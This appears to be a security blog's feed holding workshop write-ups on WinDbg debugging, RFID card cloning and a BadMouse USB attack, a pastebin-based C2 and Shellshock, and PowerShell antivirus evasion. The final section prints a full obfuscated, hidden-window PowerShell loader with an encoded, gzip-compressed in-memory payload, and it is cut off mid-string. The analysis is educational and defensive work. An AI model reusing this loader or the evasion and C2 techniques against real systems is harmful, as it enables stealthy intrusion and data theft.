&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/string.9l1RZwIq_1EWiJ9.webp&quot; alt=&quot;Modified input.txt with Lab1.exe&quot;&gt;&lt;/p&gt;
&lt;p&gt;After rerunning the dynamic analysis with the corrected &lt;code&gt;input.txt&lt;/code&gt;, the program successfully passed all checks and displayed a &quot;good input!&quot; message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/done.Dw7EWnKg_Z1smwTx.webp&quot; alt=&quot;Lab 1 Done GIF&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Visualizing Execution Flow with DrawMeATree&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/CrowdStrike/drawmeatree&quot;&gt;View the DrawMeATree GitHub repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;One particularly interesting tool introduced was &lt;strong&gt;DrawMeATree&lt;/strong&gt;. This Python tool converts the output of WinDbg&apos;s &lt;code&gt;wt&lt;/code&gt; (Watch Trace) command into customizable graphical trees. This can be incredibly helpful for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Identifying components, functionalities, and the overall operation of a program.&lt;/li&gt;
&lt;li&gt;Highlighting connections between functions and modules.&lt;/li&gt;
&lt;li&gt;Summarizing large and complex amounts of information using custom filters.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DrawMeATree Filtering Methodology:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate &lt;code&gt;wt&lt;/code&gt; output into a log file.&lt;/li&gt;
&lt;li&gt;Identify the maximum depth required for filtering (or regenerate from a function of interest if the trace is too large).&lt;/li&gt;
&lt;li&gt;Remove irrelevant &quot;high-level&quot; nodes that would clear entire branches (e.g., allocation/freeing phases, default routines, string handling).&lt;/li&gt;
&lt;li&gt;Remove nodes/modules that do not help answer your initial debugging question.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A general debugging methodology incorporating DrawMeATree could be:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start debugging at a chosen point (e.g., &lt;code&gt;bp $exentry&lt;/code&gt;, &lt;code&gt;bp module!FunctionX&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If you don&apos;t have a specific target, use &lt;code&gt;wt&lt;/code&gt; and then &lt;strong&gt;DrawMeATree&lt;/strong&gt; to get a better overview of the execution flow.&lt;/li&gt;
&lt;li&gt;Get as close as possible to your target and observe its behavior.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion &amp;#x26; Takeaways&lt;/h2&gt;
&lt;p&gt;This WinDbg workshop provided valuable insights into &lt;strong&gt;dynamic analysis on Windows&lt;/strong&gt; and the practical application of &lt;strong&gt;WinDbg&lt;/strong&gt; for &lt;strong&gt;reverse engineering&lt;/strong&gt;. The hands-on labs effectively demonstrated the &lt;strong&gt;x64 calling convention&lt;/strong&gt;, &lt;strong&gt;memory inspection techniques&lt;/strong&gt;, and &lt;strong&gt;breakpoint usage&lt;/strong&gt;. The introduction to &lt;strong&gt;DrawMeATree&lt;/strong&gt; also highlighted a method for visualizing program execution flow.&lt;/p&gt;
&lt;p&gt;Key takeaways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Essential &lt;strong&gt;WinDbg commands&lt;/strong&gt; for debugging.&lt;/li&gt;
&lt;li&gt;A clearer understanding of the &lt;strong&gt;x64 calling convention&lt;/strong&gt; and its importance in analyzing function arguments and return values.&lt;/li&gt;
&lt;li&gt;Systematic &lt;strong&gt;debugging methodology&lt;/strong&gt;: observe, hypothesize, test, and iterate.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/banner.C6UofPHB.png"/><enclosure url="/_astro/banner.C6UofPHB.png"/></item><item><title>The SinCon RFID Research Kampung</title><link>https://gr1d-init.github.io/blog/sinconrfidkampung</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sinconrfidkampung</guid><description>Writeups for SinCon RFID Research Kampung</description><pubDate>Mon, 26 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The RFID Research Kampung at SINCON 2025 was a hands-on workshop where we could explore various RFID security tools and learn about real-world attack scenarios. Here&apos;s what went down during the session.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/banner.DiBgdpU__215lWQ.webp&quot; alt=&quot;RFID Research Kampung Banner&quot;&gt;&lt;br&gt;
&lt;em&gt;The RFID Research Kampung setup at SINCON 2025&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;RFID Tools Available&lt;/h2&gt;
&lt;p&gt;The kampung featured several professional RFID security tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Proxmark3&lt;/strong&gt; — A powerful RFID tool for reading, cloning, and emulating access cards&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flipper Zero&lt;/strong&gt; — A multi-functional pentesting device for NFC, RFID, and wireless systems&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ChameleonUltra&lt;/strong&gt; — An advanced RFID card emulation and cloning device&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RFID Detectors&lt;/strong&gt; — Including the Proxgrind signal sniffer for real-time RFID signal analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;RFID Card Cloning Demonstration&lt;/h2&gt;
&lt;h3&gt;Basic RFID Attack Workflow&lt;/h3&gt;
&lt;p&gt;The first demonstration covered a straightforward RFID attack process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reading the UID&lt;/strong&gt;: Using Proxmark3 CLI to extract the card&apos;s UID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloning with Flipper Zero&lt;/strong&gt;: Copying the UID and configuring the Flipper Zero to emulate the original card&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Testing&lt;/strong&gt;: Attempting to unlock an RFID-protected lock with the emulated card&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/uid.BybD2m9A_4QRpU.webp&quot; alt=&quot;UID Reading Process&quot;&gt;&lt;br&gt;
&lt;em&gt;Reading RFID card UID using Proxmark3&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/unlock.DDaxbO88_TrYnf.webp&quot; alt=&quot;Successful Unlock&quot;&gt;&lt;br&gt;
&lt;em&gt;Successfully unlocking RFID lock with Flipper Zero as cloned card medium&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Touch &apos;n Go Card Analysis&lt;/h3&gt;
&lt;p&gt;We also observed participants working with Touch &apos;n Go RFID cards (SMART Tag MaxTag), demonstrating how Proxmark3 can analyze and potentially modify the stored balance on these contactless payment cards.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/tng.D77zMwgS_Z1CaY5F.webp&quot; alt=&quot;Touch &amp;#x27;n Go Card&quot;&gt;&lt;br&gt;
&lt;em&gt;Touch &apos;n Go RFID card analysis session&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;BadMouse Demonstration&lt;/h2&gt;
&lt;h3&gt;Hardware Modification Process&lt;/h3&gt;
&lt;p&gt;The BadMouse demonstration showed how everyday USB devices can be weaponized. The process involved:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Installing USB Ninja Module&lt;/strong&gt;: The module acts as a wireless receiver inside the mouse&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wireless Control Setup&lt;/strong&gt;: A separate transmitter device enables remote control of the compromised mouse&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/receiver.BODWrdUg_Zyi7wu.webp&quot; alt=&quot;USB Ninja Receiver&quot;&gt;&lt;br&gt;
&lt;em&gt;USB Ninja module installed as receiver in the mouse&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/transmitter.Bc98HVu9_Z1xeyEX.webp&quot; alt=&quot;Wireless Transmitter&quot;&gt;&lt;br&gt;
&lt;em&gt;Wireless transmitter device for remote control&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Attack Execution Methods&lt;/h3&gt;
&lt;p&gt;The attack can be executed in two different modes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Live Attack Mode&lt;/strong&gt;: Real-time command execution&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scripted Attack Mode&lt;/strong&gt;: Pre-programmed payload execution for more complex attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/attacker.CDhFr02W_Z1L1w9P.webp&quot; alt=&quot;Attacker Interface&quot;&gt;&lt;br&gt;
&lt;em&gt;Attacker interface showing command queuing and execution options&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The demonstration showed how an attacker can remotely execute commands on a victim&apos;s machine through what appears to be an ordinary mouse.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/client.Bh3Ap-aW_ZjchQu.webp&quot; alt=&quot;Victim Machine&quot;&gt;&lt;br&gt;
&lt;em&gt;Victim machine being controlled through the BadMouse attack&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Key Observations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RFID systems are vulnerable&lt;/strong&gt; — Simple UID-based authentication can be easily cloned&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Physical access = game over&lt;/strong&gt; — Direct device access enables sophisticated attacks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trust your hardware sources&lt;/strong&gt; — Common USB devices can be weaponized with minimal effort&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/tag.BkQ6lB73.jpg"/><enclosure url="/_astro/tag.BkQ6lB73.jpg"/></item><item><title>SinCon Shellshock &amp; C2 Attack Analysis</title><link>https://gr1d-init.github.io/blog/sinconshellshock</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sinconshellshock</guid><description>Writeups for SinCon Shellshock Workshop and C2 Attack Analysis</description><pubDate>Mon, 26 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Command &amp;#x26; Control (C2) Attack Analysis - Beginner&apos;s Guide&lt;/h2&gt;
&lt;h3&gt;What Is This?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/website.DItVlCv0_ZzqGQW.webp&quot; alt=&quot;Website&quot;&gt;
&lt;em&gt;The pastebin-like website used in the C2 demonstration.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This analyzes a &lt;strong&gt;Command and Control (C2)&lt;/strong&gt; attack that uses a pastebin website to remotely control computers. It was demonstrated in a cybersecurity workshop to teach students about modern hacking techniques.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Facts:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Attack Type:&lt;/strong&gt; Remote computer control via website messaging&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Method:&lt;/strong&gt; Shellshock vulnerability (CVE-2014-6271)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Communication:&lt;/strong&gt; Pastebin website as secret message board&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Danger Level:&lt;/strong&gt; Very stealthy - looks like normal web browsing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Simple Analogy:&lt;/strong&gt; Like using a library bulletin board to leave secret notes between a spy and their target.&lt;/p&gt;
&lt;h3&gt;How C2 Attacks Work&lt;/h3&gt;
&lt;h4&gt;The Basic Process&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Initial Compromise:&lt;/strong&gt; Hacker exploits Shellshock bug to break into computer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implant Installation:&lt;/strong&gt; Plants spy program (&lt;code&gt;binpaste_client_p1.py&lt;/code&gt;) on victim computer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Communication Setup:&lt;/strong&gt; Both attacker and victim programs use same pastebin account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Command &amp;#x26; Control:&lt;/strong&gt; Continuous cycle of commands and data theft&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Why Use a Website Instead of Direct Connection?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stealth:&lt;/strong&gt; Looks like normal pastebin usage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evasion:&lt;/strong&gt; Hard to block without affecting legitimate users&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Direct Trail:&lt;/strong&gt; Attacker never connects directly to victim&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multiple Victims:&lt;/strong&gt; One website can control many computers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Real-World Impact:&lt;/strong&gt; Victim&apos;s passwords, files, and personal data get stolen without them knowing.&lt;/p&gt;
&lt;h3&gt;Communication Protocol (9-Step Process)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/process.DJdmsDh8_Z1Vmna3.webp&quot; alt=&quot;Communication Process Diagram&quot;&gt;
&lt;em&gt;Diagram illustrating the 9-step communication protocol between attacker, C2 server (pastebin), and implant.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;🚀 Setup Phase&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; 🔴 &lt;strong&gt;Red Team to binpaste&lt;/strong&gt;&lt;br&gt;
Initial login (&lt;code&gt;-u eviluser -p eviluser&lt;/code&gt;)&lt;br&gt;
&lt;em&gt;Attacker&apos;s program connects to pastebin and authenticates.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; 💻 &lt;strong&gt;Implant to binpaste&lt;/strong&gt;&lt;br&gt;
Initial login (&lt;code&gt;-u eviluser -p eviluser&lt;/code&gt;)&lt;br&gt;
&lt;em&gt;Victim&apos;s spy program also logs into same pastebin account.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;🔄 Command Execution Cycle&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; 👀 &lt;strong&gt;Implant to binpaste&lt;/strong&gt;&lt;br&gt;
GET: Polling the main page for new commands&lt;br&gt;
&lt;em&gt;Every 10 seconds, victim computer checks: &quot;Any new orders for me?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; 📝 &lt;strong&gt;Red Team to binpaste&lt;/strong&gt;&lt;br&gt;
POST: Paste the command&lt;br&gt;
&lt;em&gt;Attacker posts command like &quot;list all files&quot; or &quot;steal passwords&quot;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; 📥 &lt;strong&gt;Implant to binpaste&lt;/strong&gt;&lt;br&gt;
GET: Fetch the command&lt;br&gt;
&lt;em&gt;Victim computer finds the command and downloads it.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6:&lt;/strong&gt; 📤 &lt;strong&gt;Implant to binpaste&lt;/strong&gt;&lt;br&gt;
POST: Paste the result&lt;br&gt;
&lt;em&gt;Victim executes command and uploads stolen data/results.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;🧹 Cleanup Phase&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 7:&lt;/strong&gt; 🗑️ &lt;strong&gt;Implant to binpaste&lt;/strong&gt;&lt;br&gt;
POST: Delete the command&lt;br&gt;
&lt;em&gt;Victim removes the original command to hide evidence.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 8:&lt;/strong&gt; 📥 &lt;strong&gt;Red Team to binpaste&lt;/strong&gt;&lt;br&gt;
GET: Fetch the result&lt;br&gt;
&lt;em&gt;Attacker downloads the stolen data/results.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 9:&lt;/strong&gt; 🗑️ &lt;strong&gt;Red Team to binpaste&lt;/strong&gt;&lt;br&gt;
POST: Delete the result&lt;br&gt;
&lt;em&gt;Attacker removes all traces of the conversation.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🔑 Key Feature:&lt;/strong&gt; Automatic evidence removal makes detection extremely difficult - it&apos;s like the conversation never happened!&lt;/p&gt;
&lt;h3&gt;Technical Components&lt;/h3&gt;
&lt;h4&gt;Two-Program Architecture&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Controller (&lt;code&gt;binpastec2_p1.py&lt;/code&gt;)&lt;/strong&gt; - Attacker&apos;s command interface&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sends commands via pastebin posts&lt;/li&gt;
&lt;li&gt;Retrieves stolen data from victim computers&lt;/li&gt;
&lt;li&gt;Can control multiple victims simultaneously&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Agent (&lt;code&gt;binpaste_client_p1.py&lt;/code&gt;)&lt;/strong&gt; - Victim&apos;s implant&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Polls pastebin every 10 seconds for new commands&lt;/li&gt;
&lt;li&gt;Executes commands and uploads results&lt;/li&gt;
&lt;li&gt;Automatically cleans up evidence&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Attack Advantages&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Legitimate Infrastructure:&lt;/strong&gt; Uses real pastebin service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encrypted Channel:&lt;/strong&gt; HTTPS traffic appears normal&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scalable:&lt;/strong&gt; One controller handles multiple victims&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistent:&lt;/strong&gt; Continues running until manually removed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Workshop Context&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/setup.D3nfycEf_ZLDrO3.webp&quot; alt=&quot;Workshop Setup&quot;&gt;
&lt;em&gt;The workshop setup showing the attacker and victim machines.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/modify.DyDOuX0Q_13LgVr.webp&quot; alt=&quot;Code Modification Example&quot;&gt;
&lt;em&gt;Example of code modification required in the workshop scripts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Educational Demonstration Only:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Controlled environment with test systems&lt;/li&gt;
&lt;li&gt;Scripts contain incomplete code marked &lt;code&gt;# (your code here)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No actual victims or data theft occurred&lt;/li&gt;
&lt;li&gt;Used legitimate pastebin service for demonstration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Learning Objectives:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understand modern C2 communication methods&lt;/li&gt;
&lt;li&gt;Recognize legitimate services used maliciously&lt;/li&gt;
&lt;li&gt;Practice detection and response techniques&lt;/li&gt;
&lt;li&gt;Learn defensive strategies&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Takeaways&lt;/h3&gt;
&lt;p&gt;This attack is smart because it looks completely normal - just regular visits to a pastebin website. The hacker doesn&apos;t need special servers or suspicious connections. The 10-second check-ins are perfectly timed: fast enough to work well, slow enough to stay hidden.&lt;/p&gt;
&lt;p&gt;What makes this really scary is how it cleans up after itself. Most computer viruses leave clues behind, but this one automatically deletes everything as it goes. It&apos;s like having a conversation that erases itself - investigators can&apos;t figure out what happened.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;The Shellshock workshop also covered methods used by attackers to evade antivirus detection with their payloads. The following analysis, also part of the workshop materials, delves into PowerShell-based AV evasion techniques.&lt;/p&gt;
&lt;h2&gt;PowerShell Payload AV Evasion Analysis&lt;/h2&gt;
&lt;p&gt;This document analyzes the multi-layered techniques a PowerShell payload uses to evade Antivirus (AV) detection, primarily through obfuscation and in-memory execution.&lt;/p&gt;
&lt;h3&gt;Initial Encoded Command&lt;/h3&gt;
&lt;p&gt;The attack begins with a heavily obfuscated PowerShell command, executed stealthily:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;powershell.exe -NoLogo -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG9jAGUAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwJ5AFMAdAByAGUAYQBtAFIAZQBhAG0AKAAuAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoACgAJwAnAEgANABzAEkAQQBQAHQASQBMAFcAZwBDAEEANwBWAFgAYgBXACsAYgBTAEIARAArAFgAcQBuAC8AQQBWAFcAVwBqAEYAWABIAEwANgBtAFQAcABwACcAJwArACcAJwBFAGkAMwBXAEoARABqAEcAcwBuAEoAaABqAGMAMgBMAFYATwBHAEIAYgBZAGUAQQAwAEUARgB0AHUAawAxAC8AOQArAHMAeABqAHkAbwBqAHAAMwB1AHsAMQB9AE8ASwBoAE0AegB1AHoAcwB6AE8AUAB2AFAATQB6AE4AcABOAEEANQB1AFIATQBCAEEAaQBTAHgAewAxAH0AKwB2AEgAOABuAEYATQAvAFkAaQBxADIAMQBJAEYAYgB1AEIAaQBkADEAbwBXAEwAOQBPAFUARwBuAHQAYQBmAFYAUwBuAFEAagBuADYAMgBFAEMAMABHAGMAbwB5AGoAcQBoAFcAdQBMAEIASQB2ACcAJwArACcAJwB6ADgAMgA0AGEAeAB6AGgAZwArADMASABqAEUAagBPAFUASgBIAGkAOQBwAEEAUQBuAFkAawAzADQAUwA1AGoANgBPAE0AewAxAH0ASAAxADgAcwA3AGIARABQAGgAaAAxAEQANQBzADMARgBKAHcANgBWAEYAQwA3AEcAcwBhADkAawArAEYAbwA1AFEANABQAEMAMQBZAFcAaABiADMATABXAEcASABsAEgAQwB4AE8AcgAzADcAOQBYAGEALwBLAGkAOQBhAE0AagAzAHEAVQBVAFQAcwBhAHAAbgBDAGMAUAByAGgAawAnACcAKwAnACcATgBwAHQAUwBiADgAcgBQAEUATgBKADEAbQBFAHgAZQBxAEkAMgBIAEcAWQBoAEMANQByAFQARQBuAHcANgBiAGgAaABCAEkAbgBsADQAaQB1AHcAdABzAEUAagB6AFAAegBRAFMAYQBwAHcAbQBxAGYAegB4AEoAaQBsAGMAVgBBAGMAaQA5AHYAewAxAH0AUwA0AGwAVgArAEIAegBIAG8AWQAwAGMASgA4AHsAMQB9AEoAVQBxADAATABjADcANwBEAGYATABIADQAUQA1AHcAWAAyADkAKwBrAEEAUwBOAHIAMwBGAEEARABoAHUATQB3ADAAbgBHADgASQBUAHsAMQB9AE8ARwBuADAAcgBjAEMAaQArAHcAZQA0AEMAdABIAFEAVwBrADgAQgBiADEARwBvAGcAdABnAGwAWABXAEsAdwBFAEsAYQBWADEANABiACsAWQBFAGEALwB3AHQAZwBUAHYAcgBVAHIAaQBjAHkAVwBRAEcAcgBPADQAVgBvAGUAdwBIAGoAcgBvAEsASABSAFMAaQB2AGUAcQAxAFEATwBlAGMAaQA3AFUANABIAG4AawBBACcAJwArACcAJwAwAEQANABrADYAUABvAGwAaAAnACcAKwAnACcAegBhAGYASgBzAGQANABOAEQAVABSAFAAbgBNADgAeABVAE0AUABvAHYAagBNAEMARwA1ADcAbwBYAFEAcQBnAHMAagAyAE4AeABpAFkAewAxAH0AegBCAHMARABLAEoAVQAxAHgAYgBQAEMASQB1AFYATwB3AG8ATwBBAG4AcgBiAHoAWABYAEwAbgBWAEIATQA3AE8AWABNAEQATQAzAFEAKwBJAHMAbgB2AFIAZgBVAEsAQgBpAFgAYgBwAGMANQBuAFUAKwA5ADcAQgBMAEEAdAB6AEwAQQBtAHQATgA3AEoASwB5ADQAcQBHAG8AWQBKAGYAaQBIAEoARgBHAEsAWABZAEYALwBvAG4AVgBZAGcARQA3AFAAVQB5AHgAewAxAH0AegBFAE8ATQB5AGYASABMADIAcgB5AG0AcgBCAEgAWABTAGsAbAAxAE0ARQB4AHMAaQBHAHkAQwBYAGcARgBRAGEAKwA5AGQARwBZAGYATwBiAEcAcQBCAGkATwA4AEIAdgBUADIAWQAyAEIAcgB4AFkAVgBFAHcAYQBWADAAawBSAHgAewAxAH0AdQBUAHMAZgBnADEAQwAxAFMANgAwAGsAcQBRAHYAagBGAEQATABWAHIAZwBzADYAdABpAGgAMgA2AGcASQBLAEUAbABJAHMAbwB7ADEAfQBTAEYAKwBXAGYAMQB5AGQAMQBSAFMAaABtAHgAcgBZAFMAVgA1AGgAYQAxAGwAMgBnAFcAdQAzAGIARABJAEcARgB4AGEAawBOAFkAQQBZAEcASgAnACcAKwAnACcASABtAEcAYgBXAEoAUQBEAFUAaABmADYAeABNAEYAUwBwAGgATwB2ADMATAAxADYARQBJADYAdQBSAFMAbQBrAEQAMQBqAGEAUQBEAGgAZwBoAHMATwBnAE0AMAA2AFcARwBCAHoAZABFADYAUABXADAARABGAFQAMQB4AEgARgBhAHgARABLAEsANABkAEMATABRAC8AcQBSAEoARQBsAE8AYgAwAHMARAB6AHYAJwAnACsAJwAnAFYAdwA0ADYAVwBxAGIARABuAFAAUQBlAG0AUgBPAFMAewAxAH0AbQB4AEIAdABuAFkAYQBzAEwAcABnAGsAewAxAH0AbABDAEcATwBNAGoAQQByAHYALwBuAHgASwA4AEYAaQBIAHYAVABqAFgARQBSAEgATABIAE0AcwBMAG0AVQBNAHsAMQB9ADQARABsAFUAUwAvAFYAVABzAEwAQwA0AHgAeQBSAEcASQBHAGEAQwBoAHgAdQBKAGEAJwAnACsAJwAnAHMAQgBKADkAMgA5AHEAVgBHAC8ATgBDAFUAUwBlADkAawAzAEEAdQAzAEMAQgA1AHsAMQB9AHUAZABGAE0AUwBUAGYATQBtAFQAcAB5AEIAbABSAFgAbQBYADQAcgBrADYASABoACsAeQBwAHAAcQB4ADYAJwAnACsAJwAnAE0ATQAwAFAAMgB4AHEAdwBWAGYAewAxAH0AMQBNACsAZwBPADkAMQAwAGQAeABiACsAZQA3AFMARQAxAFUAdQBTADkAbABXAGwAdABDAGQAcAA5ADgATgBnAGUAUwBZAFkAQQBlADYAUQA2ADEAdQA1ADIASwBuAE8ANwBRAFUAegAzAFkAUQBGAEoAOQBXADIAcgBOAFcAcAA3AFUAVQByAHAARABYAGYASgBsADAAawBLAGUAcgB2AFcAMQBUAG4AdQBtAE4AcwArAG8AUgBCADUAMABWACcAJwArACcAJwBVAGYAOQA2AGEAUAA5AFIANwB0AHkAcAA5AFAALwB0AHAAdQBnAHEAOQBFAEEAKwBjAHEAMQBvADcAUwBQAGwAVgB4AC8AeABmAFYAbgBxADgAdABoAFQAOAA3AEgATgBoADkAcgB0ADQAbABNAHsAMQB9AE4AaABIAFYAbQA0ADEAMAA4AGQAVABNADUASwBtAHMAagBMAFQAegBFAGoAMQBQAG0ANAA5AHoAUgB3ACcAJwArACcAJwAyAE8ANABvAHYAJwAnACsAJwAnAHcAYgB4AEsAZABzAFAASQBiAE0ATABUAGIAZwA4ADIAZwBmAE0AdwBvAG0AJwAnACsAJwAnAGMAUABJADMAQgBYAE0AMgBjAEQAZwBtAGUAcQBoAHoATQBQAGEAUQBqAHAAdAB3AEgAVgBsADkAcwB1AGsAaABRAGIANwBmAEUAeQBZAEcANAAxAFUAWQBPAGQAdABvAHgARwBUAG4AYgBiAGIAMwA0AHg